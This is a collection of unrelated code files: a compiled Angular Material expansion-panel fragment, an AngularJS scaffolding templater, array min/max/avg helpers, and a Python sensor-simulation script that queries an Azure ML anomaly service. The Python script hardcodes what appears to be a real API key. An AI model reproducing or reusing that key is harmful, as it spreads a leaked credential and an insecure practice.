MatExpansionPanel.prototype.afterExpand;
/**
* An event emitted after the body's collapse animation happens.
* @type {?}
*/
MatExpansionPanel.prototype.afterCollapse;
/**
* Stream that emits for changes in `\@Input` properties.
* @type {?}
*/
MatExpansionPanel.prototype._inputChanges;
/**
* Optionally defined accordion the expansion panel belongs to.
* @type {?}
*/
MatExpansionPanel.prototype.accordion;
/**
* Content that will be rendered lazily.
* @type {?}
*/
MatExpansionPanel.prototype._lazyContent;
/**
* Element containing the panel's user-provided content.
* @type {?}
*/
MatExpansionPanel.prototype._body;
/**
* Portal holding the user's content.
* @type {?}
*/
MatExpansionPanel.prototype._portal;
/**
* ID for the associated header element. Used for a11y labelling.
* @type {?}
*/
MatExpansionPanel.prototype._headerId;
/**
* Stream of body animation done events.
* @type {?}
*/
MatExpansionPanel.prototype._bodyAnimationDone;
/**
* @type {?}
* @private
*/
MatExpansionPanel.prototype._viewContainerRef;
/** @type {?} */
MatExpansionPanel.prototype._animationMode;
}
export class MatExpansionPanelActionRow {
}
MatExpansionPanelActionRow.decorators = [
{ type: Directive, args: [{
selector: 'mat-action-row',
host: {
class: 'mat-action-row'
}
},] },
];
export { ɵ0 };
//# sourceMappingURL=expansion-panel.js.map
|
var templater = {};
templater.html = function (title) {
title = title || '';
return '<!doctype html>\n'+
'<html>\n'+
'<head>\n'+
' <meta charset="utf-8">\n'+
' <title>'+title+'</title>\n'+
' <meta name="" content="">\n'+
' <meta name="" content="">\n'+
' <link rel="stylesheet" href="">\n'+
' <!--[if lt IE 9]>\n'+
' <script src="https://cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.js"></script>\n'+
' <![endif]-->\n'+
'</head>\n'+
'<body>\n'+
' <script src=""></script>\n'+
'</body>\n'+
'</html>\n';
};
templater.gulpfile = function () {
return '';
};
templater.module = function (prefix) {
var name = prefix + '.module.js';
return '// ' + name + '\n' +
'(function() {\n' +
'\'use strict\';\n' +
'angular\n' +
' .module(\'' + prefix + '\', []);\n' +
'})();';
};
templater.generic = function (prefix, mod, type) {
var name = prefix + '.' + type + '.js';
if (type === 'controller') {
var cname = prefix[0].toUpperCase() + prefix.substr(1) + 'Controller';
} else if (type === 'directive' || type === 'component') {
var cname = toCamelCase(prefix);
} else {
var cname = prefix;
}
return '// ' + name + '\n' +
'(function() {\n' +
'\'use strict\';\n' +
'angular\n' +
' .module(\'' + mod + '\')\n' +
' .'+ type +'(\''+ cname +'\', ' + cname + ');\n\n' +
'function ' + cname + '() {};\n' +
'})();';
}
function toCamelCase(word) {
var name = '';
var splited = word.split('-');
name += splited[0];
for (var i = 1; i < splited.length; i++) {
name += splited[i][0].toUpperCase() + splited[i].substr(1);
}
return name;
}
module.exports = templater;
|
exports.min = function min(array) {
if (arguments.length == 0) return 0;
if (array == 0) return 0;
let min = array[0];
for (let num of array) {
if (min > num) min = num;
}
return min;
}
exports.max = function max(array) {
if (arguments.length == 0) return 0;
if (array.length == 0) return 0;
let max = array[0];
for (let num of array) {
if (max < num) max = num;
}
return max;
}
exports.avg = function avg(array) {
if (arguments.length == 0) return 0;
if (array.length == 0) return 0;
let sum = 0;
for (let num of array) {
sum += num;
}
return sum / array.length;
}
|
import urllib.request
import json
import random
import time, datetime
import threading
from collections import deque
import paho_mqtt
url = 'https://ussouthcentral.services.azureml.net/workspaces/8854f731dde4458bb29d0138178c472e/services/75278a1d64fe4c89ad4d767c4d076e19/execute?api-version=2.0&format=swagger'
api_key = 'jdjJDeLioPMJlY9njc+DmNT6x1+B043kxGWAiDGHT13H5dIgSlks/Lb2nlM2Tmu7pg/xrhGC3ympezVCkqebNQ=='
headers = {'Content-Type':'application/json', 'Authorization':('Bearer '+ api_key)}
temp = 35
def process():
global temp
last_error_ind = -99999
treshold = 50
f = open('measured.csv', 'w')
f.write('temp;timestamp\n')
f.close()
d = deque()
ind = 0
while True:
ind = ind + 1
stamp = str(datetime.datetime.now())
temp_str = '%.1f' % (temp + (random.random() - .5))
item = {
'label': "1",
'temp': temp_str,
'timestamp': stamp,
}
d.append(item)
data = {
"Inputs": {
"input1": list(d),
},
"GlobalParameters": {
}
}
f = open('measured.csv', 'a')
f.write(temp_str.replace('.', ',') + ';' + stamp + '\n')
f.close()
print('Current temperature: ' + temp_str)
if (len(d) >= 50):
d.popleft()
# print('Send req ' + str(ind) + ' ' + stamp)
body = str.encode(json.dumps(data))
req = urllib.request.Request(url, body, headers)
response = urllib.request.urlopen(req)
result = response.read()
data = json.loads(result.decode('utf-8'))
for result in data['Results']['output1']:
if (result['Alert indicator'] != '0'):
if (ind > (last_error_ind + treshold)):
print(result)
last_error_ind = ind
paho_mqtt.send_notification()
# print(json.dumps(data))
# time.sleep(.5)
try:
thread = threading.Thread(target=process)
thread.daemon = True
thread.start()
while True:
exit_signal = input('Type "a" anytime to cause anomaly\n')
if exit_signal == 'a':
temp += 18 if (random.random() > .5) else -18
except Exception as error:
print("The request failed" + str(error))
|